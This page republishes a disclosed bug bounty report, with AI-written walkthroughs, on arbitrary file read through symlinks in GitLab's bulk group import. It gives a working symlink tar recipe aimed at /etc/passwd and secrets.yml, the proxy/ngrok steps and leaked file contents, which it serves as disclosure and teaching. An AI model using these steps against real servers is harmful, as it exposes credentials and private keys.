Skip to content
Path traversal Disclosed report Intermediate

Arbitrary file read via the bulk imports UploadsPipeline

The bulk imports API extracts an uploaded tar archive without removing symbolic links, so a crafted archive can point to files on the server. An attacker with group import access could read arbitrary files such as secrets.yml.

vakzz Follow

Originally disclosed on HackerOne

Bounty$29,000 Critical 9.6 View original
  • Triaged in 30 hours
  • Fixed in 9 days
  • Paid in 9 days
  • Disclosed after 3 months

Summary

The bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be read and uploaded when importing a group.

When a group has uploads (such as markdown attachments), an uploads.tar.gz file will be downloaded and extracted in the UploadsPipeline: https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L15

Ruby
       def extract(context)
          download_service(tmp_dir, context).execute
          untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)
          upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))

          BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)
        end

Since untar_zxf only changes the permissions, any symlinks that are extracted from the tar will remain and be added to the list of file paths. When load is called, the symlinks will be followed and used as the content for the new file:

https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L23

Ruby
        def load(context, file_path)
          avatar_path = AVATAR_PATTERN.match(file_path)

          return save_avatar(file_path) if avatar_path

          dynamic_path = file_uploader.extract_dynamic_path(file_path)

          return unless dynamic_path
          return if File.directory?(file_path)

          named_captures = dynamic_path.named_captures.symbolize_keys

          UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute
        end

This can be used to read any file that the git user has read access to such as secrets.yml or other sensitive files.

Steps to reproduce

  1. Create a new group on gitlab.com
  2. Create a new milestone and upload a file passwd with any content into the description
  3. Make note of the upload secret (the 32 byte hash in the path)
  4. Run the following commands to make a tar file, using the hash from above
    Bash

mkdir ./d3209c811fee407218bff7cb3b4333e6 ln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd ln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml tar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6 ```

  1. Save the following simple proxy server as api.py and run it with FLASK_APP=api flask run, this will replace the uploads.tar.gz with a custom one: (Attachment on the original report: api.py)
  2. Start ngrok so that it's externally accessible: ngrok http 5000
  3. Create a new access token at https://gitlab.com/-/profile/personal_access_tokens
  4. Create a new group, this time choose import group
  5. Enter the https ngrok url and the token you just created
  6. Select the group you initially created and choose a new name
  7. Once the import has complete, view the milestone and click the passwd link
  8. You will see the passwd file from the gitlab server
  9. Copy the link and change passwd to secrets.yml and you should be able to download the secrets file

Impact

A user with access to import a group on gitlab can read arbitrary files on the gitlab server

Examples

Example with passwd and secrets.yml attached: https://gitlab.com/groups/group_to_import_1/-/milestones/1 https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/passwd https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/secrets.yml

What is the current bug behavior?

Symlinks are not removed or filtered when the UploadsPipeline is run for the bulk imports api

What is the expected correct behavior?

Symlinks should be removed similar to the project import

Relevant logs and/or screenshots

/etc/passwd file:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
git:x:1000:1000:GitLab,,,:/home/git:/bin/bash

/srv/gitlab/config/secrets.yml file:

YAML
production:
  secret_key_base: 1174116b6adee.....
  otp_key_base: staging-a680efdeb2e93751f32.....
  db_key_base: 1174116b6adee59.....
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIJKQIBAAKCAgEA5RyvCSgBoOGNE03CMcJ9.....
    -----END RSA PRIVATE KEY-----
  ci_jwt_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEAvazHHoAHZB5j9RUyq0CEK9.....
    -----END RSA PRIVATE KEY-----


### Output of checks
This bug happens on GitLab.com

## Impact

A user with access to import a group on gitlab can read arbitrary files on the gitlab server

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

GitLab's bulk imports API lets a user import a group from another GitLab instance. When the source group contains uploads, such as markdown attachments, the import downloads an uploads.tar.gz archive and extracts it in the UploadsPipeline. The pipeline then treats every extracted path as a file to upload into the new group. The report shows that this extraction step does not remove symlinks, so a crafted archive can make the importer read files from the GitLab server itself.

Setup

The researcher worked against gitlab.com and referenced the source at v14.6.0-ee. The only precondition is an account that can create a group and start a group import. The import source is an HTTP endpoint the researcher controls, reached through ngrok, and authentication uses a personal access token.

Finding it

The starting point is the extract method of UploadsPipeline:

Ruby
       def extract(context)
          download_service(tmp_dir, context).execute
          untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)
          upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))

          BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)
        end

untar_zxf only changes permissions on what it extracts. It does not strip symlinks, so a symlink inside the tar survives extraction and is picked up by the Dir.glob that builds the list of file paths. The load method then opens each path:

Ruby
        def load(context, file_path)
          avatar_path = AVATAR_PATTERN.match(file_path)

          return save_avatar(file_path) if avatar_path

          dynamic_path = file_uploader.extract_dynamic_path(file_path)

          return unless dynamic_path
          return if File.directory?(file_path)

          named_captures = dynamic_path.named_captures.symbolize_keys

          UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute
        end

File.open(file_path, 'r') follows the symlink, so the content that gets uploaded is whatever the link points to on the server. The symlink is placed inside a directory named after a real upload secret.

Exploitation

Step 1: Create a group and a real upload

Create a new group on gitlab.com, create a milestone, and upload a file named passwd with any content into the description. Note the upload secret: the 32 byte hash in the path. That hash becomes the directory name in the archive.

Step 2: Build the malicious archive

Using the hash from the upload, create a directory with that name and place symlinks inside it:

Bash
mkdir ./[redacted]
ln -s /etc/passwd ./[redacted]/passwd
ln -s /srv/gitlab/config/secrets.yml ./[redacted]/secrets.yml
tar cvzf uploads.tar.gz ./[redacted]

The directory name matches the upload secret so that the extracted paths satisfy the uploader's dynamic path pattern. The two links point at /etc/passwd and at the GitLab secrets file /srv/gitlab/config/secrets.yml.

Step 3: Serve the archive through a proxy

Save a small proxy server as api.py and run it with FLASK_APP=api flask run. The proxy replaces the uploads.tar.gz that the import requests with the custom archive. The report attaches api.py but does not reproduce its contents.

Step 4: Expose the proxy

Start ngrok so the proxy is reachable from the internet:

Bash
ngrok http 5000

Step 5: Create a token and start the import

Create a new access token at https://gitlab.com/-/profile/personal_access_tokens. Create a second group, this time choosing import group, enter the https ngrok URL and the token, select the group created in step 1, and choose a new name.

Step 6: Read the files

When the import completes, open the milestone in the new group and click the passwd link. The response is the server's /etc/passwd:

Text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
git:x:1000:1000:GitLab,,,:/home/git:/bin/bash

Copy the link and change passwd to secrets.yml to download the secrets file:

YAML
production:
  secret_key_base: 1174116b6adee.....
  otp_key_base: staging-a680efdeb2e93751f32.....
  db_key_base: 1174116b6adee59.....
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    [redacted].....
    -----END RSA PRIVATE KEY-----
  ci_jwt_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    [redacted].....
    -----END RSA PRIVATE KEY-----

The report gives the resulting URLs as examples:

Text
https://gitlab.com/groups/group_to_import_1/-/milestones/1
https://gitlab.com/groups/group_to_import_1/-/uploads/[redacted]/passwd
https://gitlab.com/groups/group_to_import_1/-/uploads/[redacted]/secrets.yml

Root cause

The UploadsPipeline extracts the archive with untar_zxf, which only changes permissions and leaves symlinks in place. The extracted paths are collected with Dir.glob and passed to load, where File.open follows the link and uploads the target's content. The project import already removes symlinks; the bulk imports pipeline does not. The symlink sits inside a directory named after a genuine upload secret.

Impact

A user who can import a group on GitLab can read arbitrary files that the git user can read on the GitLab server, including secrets.yml and other sensitive files. The report demonstrates this on gitlab.com. The report does not describe any further escalation beyond reading files.

Fix

The report states that symlinks should be removed, similar to the project import. It does not describe a specific patch or commit.

Variants to test

  1. Other archive-based import or migration features that extract tar files and then process the contents. A positive result is a symlink in the archive whose target content appears in the imported object.
  2. Upload paths that are validated by pattern rather than by file type. A positive result is a path that matches the pattern while resolving, through a link, to a file outside the intended directory.
  3. Import sources that accept an attacker-controlled archive URL. A positive result is the server fetching and extracting an archive the attacker supplied.

Hunting notes

This kind of bug tends to hide in import, export and migration code that unpacks archives and then treats every entry as a file. During recon, look for features that download an archive from a user-supplied URL and extract it server-side, and for extraction helpers that only adjust permissions. The report showed impact by reading /etc/passwd and the GitLab secrets.yml and by giving the resulting upload URLs as examples.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

GitLab is a website where teams keep their code and project files. One of its features lets you copy a whole group of projects from one GitLab server to another. This is called a bulk import. When the group you are copying contains files that people attached to things like milestones, GitLab packs those files into a single archive (a .tar.gz file, which is like a zip file) and downloads it. Then it unpacks the archive and re-uploads every file it finds into the new group.

The researcher found that the unpacking step does not remove symlinks. A symlink (short for symbolic link) is a special kind of file that is really just a signpost: it contains a path to another file, and when a program opens the symlink, the operating system quietly opens the file it points to instead. On a normal computer you might create a symlink called my-notes that points to /home/me/notes.txt; opening my-notes gives you the contents of notes.txt.

Because the importer keeps symlinks and then reads whatever they point to, an attacker can build an archive full of symlinks pointing at sensitive files on the GitLab server itself, such as /etc/passwd (a standard file listing the server's user accounts) or /srv/gitlab/config/secrets.yml (a file holding GitLab's secret keys). When the import runs, GitLab reads those files and uploads their contents into the attacker's new group, where the attacker can simply download them.

The pieces you need to know

Before following the steps, here are the ideas the report relies on, explained from scratch.

  • API: an API (application programming interface) is a way for one program to talk to another over the internet, without a human clicking buttons. Think of it as a service counter: you hand over a request in a fixed format and get an answer back. GitLab's bulk imports API is the counter the import feature uses behind the scenes.
  • Group: in GitLab, a group is a container that holds projects and their related items, such as milestones. A milestone is a labelled checkpoint used to track work, and it has a description field where you can attach files.
  • Upload: a file that a user attaches to something in GitLab, such as an image in a milestone description. GitLab stores it under a folder whose name is a long random string, called the upload secret. That random name makes the file hard to guess.
  • Token: a personal access token is a long random string that acts like a password for programs. You create one in your account settings and give it to a tool so the tool can act as you. It is a secret: anyone who has it can do what you can do.
  • Symlink: as above, a file that is a signpost to another file. Opening it opens the target.
  • Path traversal: a class of bug where a program is tricked into reading or writing a file outside the folder it was supposed to stay in, usually by following a path that climbs upwards (../) or, as here, by following a link that points elsewhere.
  • Tar archive: a single file that bundles many files together, often compressed with gzip, which is why the name ends in .tar.gz. Unpacking it is called extracting.
  • ngrok: a service that gives a program running on your own computer a public web address, so a server on the internet can reach it. Useful when you want GitLab to fetch something from your laptop.

The vulnerable code

The import downloads the archive and unpacks it in a piece of code called UploadsPipeline. The first part, extract, fetches the archive and lists what is inside:

Ruby
       def extract(context)
          download_service(tmp_dir, context).execute
          untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)
          upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))

          BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)
        end

Line by line:

  1. def extract(context) starts a method (a named block of code) called extract, which receives some context about the import.
  2. download_service(tmp_dir, context).execute downloads the uploads.tar.gz archive into a temporary folder (tmp_dir).
  3. untar_zxf(archive: ..., dir: tmp_dir) unpacks the archive into that folder. The important detail is that this helper only changes file permissions; it does not remove symlinks.
  4. Dir.glob(File.join(tmp_dir, '**', '*')) builds a list of every path inside the temporary folder, including the symlinks.
  5. The last line wraps that list in an object and returns it, so the next stage can process each path.

The second part, load, takes each path from that list and uploads it:

Ruby
        def load(context, file_path)
          avatar_path = AVATAR_PATTERN.match(file_path)

          return save_avatar(file_path) if avatar_path

          dynamic_path = file_uploader.extract_dynamic_path(file_path)

          return unless dynamic_path
          return if File.directory?(file_path)

          named_captures = dynamic_path.named_captures.symbolize_keys

          UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute
        end

Line by line:

  1. def load(context, file_path) starts the method that handles one file path.
  2. AVATAR_PATTERN.match(file_path) checks whether the path looks like an avatar (a profile picture); if so, it is saved separately.
  3. dynamic_path = file_uploader.extract_dynamic_path(file_path) asks the uploader whether the path matches the pattern GitLab uses for uploads. That pattern expects a folder named with the upload secret.
  4. return unless dynamic_path stops if the path does not match.
  5. return if File.directory?(file_path) skips folders.
  6. named_captures = ... pulls the useful parts (such as the secret) out of the matched path.
  7. The final line opens the file with File.open(file_path, 'r') and uploads its contents. This is the key: opening a symlink opens the file it points to, so the content uploaded is the content of the target on the server.

In short, the archive is unpacked without stripping symlinks, the symlinks are collected as if they were ordinary files, and then their targets are read and uploaded. The only condition is that each symlink sits inside a folder named with a real upload secret, so that the path check passes.

Reproducing it, step by step

The researcher tested this on gitlab.com. The import source is a small web server the researcher controls, made reachable through ngrok, and the import authenticates with a personal access token.

Step 1: Create a group and a real upload

  1. Create a new group on gitlab.com.
  2. Create a new milestone and upload a file called passwd with any content into the description.
  3. Note the upload secret: the 32 byte hash in the path of the uploaded file.

Why: the folder name uses the upload secret from the real upload.

Step 2: Build the malicious archive

Using the hash from the upload, create a folder with that name and put symlinks inside it:

Bash
mkdir ./[redacted]
ln -s /etc/passwd ./[redacted]/passwd
ln -s /srv/gitlab/config/secrets.yml ./[redacted]/secrets.yml
tar cvzf uploads.tar.gz ./[redacted]

Line by line:

  1. mkdir ./[redacted] creates a folder named after the upload secret.
  2. ln -s /etc/passwd ./[redacted]/passwd creates a symlink called passwd inside that folder, pointing at /etc/passwd on the server.
  3. ln -s /srv/gitlab/config/secrets.yml ./[redacted]/secrets.yml creates a second symlink called secrets.yml, pointing at GitLab's secrets file.
  4. tar cvzf uploads.tar.gz ./[redacted] packs the folder into uploads.tar.gz. The c means create, v means show what is being packed, z means compress with gzip, and f names the output file.

Why: the folder name matches the upload secret so the extracted paths satisfy the uploader's pattern, and the two links point at files the attacker wants to read.

Step 3: Serve the archive through a proxy

Save a small proxy server as api.py and run it with FLASK_APP=api flask run. The proxy replaces the uploads.tar.gz that the import asks for with the custom archive you built. The report attaches api.py but does not reproduce its contents.

Why: GitLab downloads the archive from the import source. By answering that download with your own archive, you control what gets unpacked.

Step 4: Expose the proxy

Start ngrok so the proxy is reachable from the internet:

Bash
ngrok http 5000

This tells ngrok to forward traffic from a public address to port 5000 on your computer, where the proxy is listening. Why: GitLab's servers cannot reach your laptop directly, so they need a public address to fetch from.

Step 5: Create a token and start the import

  1. Create a new access token at https://gitlab.com/-/profile/personal_access_tokens.
  2. Create a second group, this time choosing import group.
  3. Enter the https ngrok URL and the token you just created.
  4. Select the group you created in step 1 and choose a new name.

Step 6: Read the files

When the import completes, open the milestone in the new group and click the passwd link. The response is the server's /etc/passwd:

Text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
git:x:1000:1000:GitLab,,,:/home/git:/bin/bash

Each line describes one user account on the server: a name, a number, and the program that runs when that user logs in. The last line shows the git account, which is the account GitLab runs as. Seeing this file means the server handed over a file from its own disk, not from the imported group.

Copy the link and change passwd to secrets.yml to download the secrets file:

YAML
production:
  secret_key_base: 1174116b6adee.....
  otp_key_base: staging-a680efdeb2e93751f32.....
  db_key_base: 1174116b6adee59.....
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    [redacted].....
    -----END RSA PRIVATE KEY-----
  ci_jwt_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    [redacted].....
    -----END RSA PRIVATE KEY-----

This file holds GitLab's secret keys. The values are shortened in the report.

The report gives the resulting URLs as examples:

Text
https://gitlab.com/groups/group_to_import_1/-/milestones/1
https://gitlab.com/groups/group_to_import_1/-/uploads/[redacted]/passwd
https://gitlab.com/groups/group_to_import_1/-/uploads/[redacted]/secrets.yml

The first is the milestone page; the other two are the uploaded files, sitting under the folder named with the upload secret.

Why it works

The UploadsPipeline unpacks the archive with untar_zxf, which only changes permissions and leaves symlinks in place. The extracted paths are collected with Dir.glob and passed to load, where File.open follows the link and uploads the target's content. The project import already removes symlinks; the bulk imports pipeline does not. The symlink sits inside a folder named after a genuine upload secret.

Impact

A user who can import a group on GitLab can read arbitrary files that the git user can read on the GitLab server, including secrets.yml and other sensitive files. The report demonstrates this on gitlab.com. The report does not describe any further escalation beyond reading files.

Fix

The report states that symlinks should be removed, similar to the project import. It does not describe a specific patch or commit.

Variants to test

  1. Other archive-based import or migration features that extract tar files and then process the contents. A positive result is a symlink in the archive whose target content appears in the imported object.
  2. Upload paths that are validated by pattern rather than by file type. A positive result is a path that matches the pattern while resolving, through a link, to a file outside the intended directory.
  3. Import sources that accept an attacker-controlled archive URL. A positive result is the server fetching and extracting an archive the attacker supplied.

Hunting notes

This kind of bug tends to hide in import, export and migration code that unpacks archives and then treats every entry as a file. During recon, look for features that download an archive from a user-supplied URL and extract it server-side, and for extraction helpers that only adjust permissions. The report showed impact by reading /etc/passwd and the GitLab secrets.yml and by giving the resulting upload URLs as examples.

Glossary

  • API: a way for one program to talk to another over the internet using fixed requests and responses.
  • Bulk import: a GitLab feature that copies a whole group, including its projects and files, from one GitLab instance to another.
  • CVSS: a standard score from 0 to 10 that rates how severe a security bug is.
  • Dynamic path: the pattern GitLab uses to recognise an upload path, which includes the upload secret.
  • Extract: to unpack the contents of an archive file.
  • Group: a container in GitLab that holds projects and related items such as milestones.
  • Milestone: a labelled checkpoint in GitLab used to track work, with a description field that can hold attachments.
  • ngrok: a service that gives a program on your own computer a public web address.
  • Path traversal: a bug where a program is tricked into reading or writing a file outside the folder it should stay in.
  • Personal access token: a long random string that acts like a password for programs acting on your behalf.
  • Pipeline: in this context, a series of processing steps that the import runs in order.
  • Proxy: a program that sits in the middle and forwards requests, here replacing the archive GitLab asks for with a custom one.
  • Symlink: a file that is a signpost to another file; opening it opens the target.
  • Tar archive: a single file bundling many files together, often compressed with gzip (.tar.gz).
  • Upload: a file a user attaches to something in GitLab, stored under a folder named with a random upload secret.
  • Upload secret: the long random string in an upload's path that makes the file hard to guess.
  • YAML: a plain-text format for configuration files, using indentation to show structure.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.